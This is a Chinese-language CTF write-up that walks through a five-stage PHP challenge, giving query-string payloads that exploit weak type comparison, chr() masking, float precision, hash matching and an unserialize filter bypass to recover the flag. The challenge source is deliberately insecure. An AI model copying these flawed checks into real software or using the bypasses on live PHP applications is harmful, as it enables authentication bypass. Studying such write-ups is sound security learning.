考点:
php弱类型比较
超精度浮点数将被转换为整数
php字母转数字比较
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 <?php error_reporting(0 ); include ('flag.php' );highlight_file('index.php' ); $a = $_GET['key1' ]; if ($a==56 || $a>256 ){ die ("Really???" ); } elseif (chr($a)==="8" ){ echo "Carry on" . "<br>" ; echo $flag1 . "<br>" ; } else { die ("You are not good" ); } $b = $_GET['key2' ]; if (strpos($b,'8' )!==false ){ die ("It won't be that easy" ); } for ($i=0 ;$i<=1 ;$i++){ ++$b; } if ($b==10 ){ echo "Good luck" . "<br>" ; echo $flag2 . "<br>" ; } else { die ("No Luck" ); } $m = md5($_GET['rq' ]); if ($_GET['fp' ] == $m){ echo $flag3."<br>" ; } elseif (isset ($fp)){ die ("You failed" ); } $n = hash('ripemd160' ,$_GET['np' ]); if ($_GET['nq' ] === $n){ echo $flag4."<br>" ; } elseif (isset ($np)){ die ("You failed" ); } $hell=$_GET['key3' ]; if (strpos($hell, 'i' )!==false || strpos($hell, 'I' )!==false ){ die ("You...can't..." ); } $data = unserialize($hell); if ($data['username' ] == $adminName && $data['password' ] == $adminPassword) { echo $flag5 . "<br>" ; } else { die ("useless" ); } ?>
flag是由五部分组成的,$flag1
,$flag2
,$flag3
,$flag4
和$flag5
,得到这些$flag
变量需要绕过一些限制条件。
第一层 1 2 3 4 5 6 7 8 9 10 11 12 $a = $_GET['key1' ]; if ($a==56 || $a>256 ){ die ("Really???" ); } elseif (chr($a)==="8" ){ echo "Carry on" . "<br>" ; echo $flag1 . "<br>" ; } else { die ("You are not good" ); }
读取$flag1
变量需要满足几个条件:
$a
和数字56
弱类型比较之后不相等,也就是说$a
不能为56,也不能为56aaa
等值,而且$a
不能大于256
;
chr($a) === "8"
,但是"8"
对应的ascii码值是56
。
也就是说变量$a
的经过chr
函数计算后的值是56
,但是$a
本身不能是56。
我们先看一下chr
函数的实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 PHP_FUNCTION(chr) { zend_long c; ZEND_PARSE_PARAMETERS_START(1 , 1 ) Z_PARAM_LONG(c) ZEND_PARSE_PARAMETERS_END(); c &= 0xff ; ZVAL_INTERNED_STR(return_value, ZSTR_CHAR(c)); }
在第12行可以看到,chr函数会对传入的值先进行&
操作确保传入的ascii码不会大于255
,也就是相当于对传入chr
函数的值进行一个模操作来确保ascii值不会超过255
。
因为题目中要求$a
不能大于256
,所以我们可以推测$a
一定小于0,-200
就符合题目的要求:
1 2 3 4 5 -200 100111000 011111111 --------- 000111000
所以chr(-200) = chr(56) = 8
当前对应的payload为:
第二层 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $b = $_GET['key2' ]; if (strpos($b,'8' )!==false ){ die ("It won't be that easy" ); } for ($i=0 ;$i<=1 ;$i++){ ++$b; } if ($b==10 ){ echo "Good luck" . "<br>" ; echo $flag2 . "<br>" ; } else { die ("No Luck" ); }
第6行~第8行的代码会将变量$b
加2,在第9行将$b
和10
进行弱类型比较,如果相等,则输出$flag2
。
但是在第3行要求变量$b
不能为8。这里涉及到的是数据类型精度的考察。
对于==
的弱类型比较,php会先读取这个浮点数,然后进行类型转换。当给定的浮点数的精度超过了double
类型的精度(小数点后15位)时,就会进行四舍五入取整操作。
这不是php的问题,这是double数据类型的数据精度问题。所以要绕过if(strpos($b,'8')!==false)
比较,应该令$b=7.999999999999999999
。
payload:
1 ?key1=-200&key2=7.999999999999999999
第三层 1 2 3 4 5 6 7 8 $m = md5($_GET['rq' ]); if ($_GET['fp' ] == $m){ echo $flag3."<br>" ; } elseif (isset ($fp)){ die ("You failed" ); }
这个没什么难点,接受两个get请求参数$_GET{'rq']}
和$_GET['fp']
,只要满足md5($_GET['rq']) == $_GET{fp]}
即可,随便令rq
等于一个值,计算它的md5
值赋给fp
即可。
payload:
1 ?key1=-200&key2=7.999999999999999999&rq=111&fp=698d51a19d8a121ce581499d7b701668
第四层 1 2 3 4 5 6 7 8 $n = hash('ripemd160' ,$_GET['np' ]); if ($_GET['nq' ] === $n){ echo $flag4."<br>" ; } elseif (isset ($np)){ die ("You failed" ); }
这和上一层一样,ropemd160
是一种单向散列加密哈希函数,直接计算:
1 2 3 4 5 6 7 <?php $np = "222" ; $n = hash('ripemd160' , $np); echo $n;?>
payload:
1 ?key1=-200&key2=7.999999999999999999&rq=111&fp=698d51a19d8a121ce581499d7b701668&np=222&nq=5f987b94e565af0394c6d6a64e2bdee6797728b1
第五层 1 2 3 4 5 6 7 8 9 10 $hell=$_GET['key3' ]; if (strpos($hell, 'i' )!==false || strpos($hell, 'I' )!==false ){ die ("You...can't..." ); } $data = unserialize($hell); if ($data['username' ] == $adminName && $data['password' ] == $adminPassword) { echo $flag5 . "<br>" ; } else { die ("useless" ); }
上面的代码绕过第2个if需要使$data['username'] == $adminName
及$data['password'] == $adminPassword
。但是我们并不知道$adminName
和$adminPassword
是什么。但是可以注意到的是进行的弱类型比较,所以猜测$adminName
和$adminPassword
是字母开头的。
在php中,如果是字符串和数字进行比较,php会把字符串强制转换为数字,对于字母开头的字符串,转换后就是0
。
我们知道php反序列化对象类型有:
1 2 3 4 5 6 7 8 9 10 11 12 a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
所以我们构造一个反序列化字符串,对象类型是array:a
,有两个键,username
和password
,数据类型是整型integer:i
,但是i
被过滤了(代码第2行),但是可以用double来替换:
1 a:2:{s:8:"username";i:0;s:8:"password";i:0;}
最后的payload为:
1 ?key1=-200&key2=7.999999999999999999&rq=111&fp=698d51a19d8a121ce581499d7b701668&np=222&nq=5f987b94e565af0394c6d6a64e2bdee6797728b1&key3=a:2:{s:8:"username";d:0;s:8:"password";d:0;}
得到结果:
1 2 3 4 5 6 7 Carry on inctf{y Good luck 0u_f0u nd_17_ bu65_ c00l!!}
整合一下就是最后的flag:inctf{y0u_f0und_17_bu65_c00l!!}
。
Author:
Bantian
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
早睡早起身体好